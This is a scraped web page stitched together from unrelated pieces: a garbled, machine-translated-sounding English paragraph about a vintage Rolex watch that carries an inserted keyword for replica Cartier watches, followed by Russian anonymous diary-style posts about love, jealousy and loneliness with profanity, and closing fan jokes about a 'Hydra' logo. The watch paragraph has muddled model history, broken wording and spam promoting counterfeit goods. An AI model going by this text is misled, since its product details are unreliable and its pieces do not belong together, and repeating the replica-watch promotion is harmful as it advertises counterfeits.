The diameter of the watchcase is 36mm, the thickness is only 11mm, and the whole length is 185mm.the number of the watchcase is W913578, model number is 16234. it was sold in July 30, 1997. It is a watch with the shape of wine bucket. The hand of second in the center of clock and the stainless steel semi-automatic watchcase has been polished. The number marks are stainless steel, too and it has two colored plates of silver and gold. 3135 watch movement decorated with strips and 31 red jewelry stones. The equipment of topping second, the watch plate, watchcase, and the watch movement all have names on them. The expedition team of Rolex starting in 1953 firstly thought 6350 was the follow-up watch of the watch6150 which properly used “gallop needle”., which once was taken by the expedition team who firstly climbed up to the Everest of Mount Himalayas.

The watch backs of most antique Rolex with familiar model number and sizes can be easily change and reused with each other. This type of watch is very interesting. The “honeycomb-like” watch plate which is considered proper to be used in the expedition team series actually not use black color as expedition team thought. Moreover, the watch back is changed with the name of 6352 from the name given by the expedition team 6350.the ones who know the antique cartier replica watches uk must have the sense that this type of watch would easily make a new record in the Buction. but for some outlook problems, it only at the price of about 40000 RMB.

а на деле мое кредо-это ощущать себя самой ахуенной на фоне тупых бабкуриц и НАСЛАЖДАТЬСЯ своим одиночеством. Уж лучше быть одной, чем страдать по мудаку

Всегда думала, что в итоге наконец-таки я влюблюсь в того, кто будет не то чтобы бегать за мной, но держаться за меня так, смотреть на меня так, что я просто не смогу отпустить его сама.

Ах нет, блять. Сижу я такая и не понимаю нужна ли я человекув принципе. Человеку, в которого уже влюбилась.

06.09.2015

"Я умираю, Я умираю".. Поет в наушниках солист группы System of a Down.

Вот и я сейчас, кажется, умираю. Ощущения, которые накрывают в определенное время и также уходят, словно волны после приплыва. Ну а казалось бы, кому это впервой? Вот-вот, друг, не мне одной.

Сейчас я сижу и вспоминаю, что я очень давно не заходила сюда в определенной период времени. Причина? А причина в ней. Только сейчас я запоздало осознаю, что мне было хорошо. Словно у нагретого места, где я всегда смогу появиться и получить желаемое. Жестокость, эгоистичность, жадность? Да, всё что имею, так всё моё. Вот только сейчас я понимаю, что мне ничего подобного не хочется. Я не хочу испускать свое время, свои чувства, я не хочу больше открываться никому, я много раз еще напишу "я", потому что я самый обычный черствый и никудышний взрослый. Лишь ревность банальная душит, удавкой на моей шее, словно скользкая змея. Нещадно, лишь только вместо шипения глупая тишина.

И я опять промолчу. Как и обычно делала до этого, как было когда-то. Спасибо, что вернула мне крылья и возможность видеть. Твои очки, они были лишь очень желаемым обманом. Теперь занавес опустился, актёры разошлись по своим гримеркам и будут примерять новый грим, новую роль, новую жизнь.

С утра ругаемся, ночью миримся. Я БЕЗУМНО ЛЮБЛЮ ТЕБЯ. И что бы мне там не сказала гадалка, я все равно до последнего буду надеятся, что все сложится по-другому

На твоём компе куча папок там папки почти на всех твоих бывших. Из знаешь что…ты ведь добавила туда ещё и мою папку…я стал как бы первым в списке и все. Страшно, ты уверяла что быстро если что себе кого-нибудь найдёшь. Я почти не верю во все что есть. Хочу верить но не могу. Я не чувствую себя нужным необходимым…или просто не могу понять…все разговоры наши заканчиваются ничем. С тобой трудно общаться. Я перед тобой слишком открыт.

Наверно ты когда-нибудь найдёшь это…я не думаю что буду радоваться. Целый день в ожидании пока ты напишешь. Я не мог писать первым ты же отдыхала…я не должен мешать. Свобода есть ничто иное как желание исполнять все свои желания…я не свободен…я добровольно отдал всего себя и мне наврядли захочется что-то менять. Твоя свобода твоё счастье… Я не знаю как все это будет происходить, но точно знаю что не хочу тебя ограничивать… Желание забыться сегодня было очень сильным…поэтому хотелось оставить это полученное ощущение и в полной внутренней пустате прожить до утра. Но разреженный телефон протянул точно до твоего звонка…как-будто нам был дан шанс встретится. И я шёл по тёмным улицам без желания…меня просто тянуло туда…я просто не могу сопротивлятся этому…я не знаю что это. И вот я тут, но не сплю. Как всегда пришёл и немогу уснуть. Ты мне дорога, я тебя люблю, но мне очень трудно. Я запутался потерялся, а тебя будто нет…кажется что нет. А меня нет точно

иногда я сомневаюсь правда ли нужна ему, неужели этот взрослый человек любит меня ? но он как будто чувствует мое настроение) то устроит мини сюрприз, то заявится с цветами. он запоминает мелочи про меня и обязательно использует их чтобы удивить)

Пока он со мной, мне ничего не страшно. Я могу вести себя, как маленькая капризная девочка, канючить и нести чепуху. Пока я с ним, он смотрит, как я сплю, слушает и смеется надо мной, говорит, что я прекрасна и не хочет уходить. Это все пока..

Позвонила я, значит, человеку с которым очень давно общалась с целью встретиться, погулять по ночному городу и просто поговорить, а после слова "привет", он меня спрашивает: "Настя, это ты?". Пиздец, товарищи, как доверять мужикам.

Три года "добивалась" одного человека, который держался на расстоянии вытянутой руки. Переспали. И вот теперь, когда я забила, в нем что-то проснулось. Что за ебтвоюмать, ребята?

твиттер Бретта

Мы собираемся поменять лого. Это
будет счастливая рожица. Кальмар с
волнистыми щупальцами.

Бретт сказал, фаны сделали :))

"Гидра любит Вас такими, какие Вы есть"

"Новая ГИДРА. У нас теперь весело"

Пиар отдел Гидры активно работает !

в такую ГИДРУ я б вступила :))) )) )) )) ))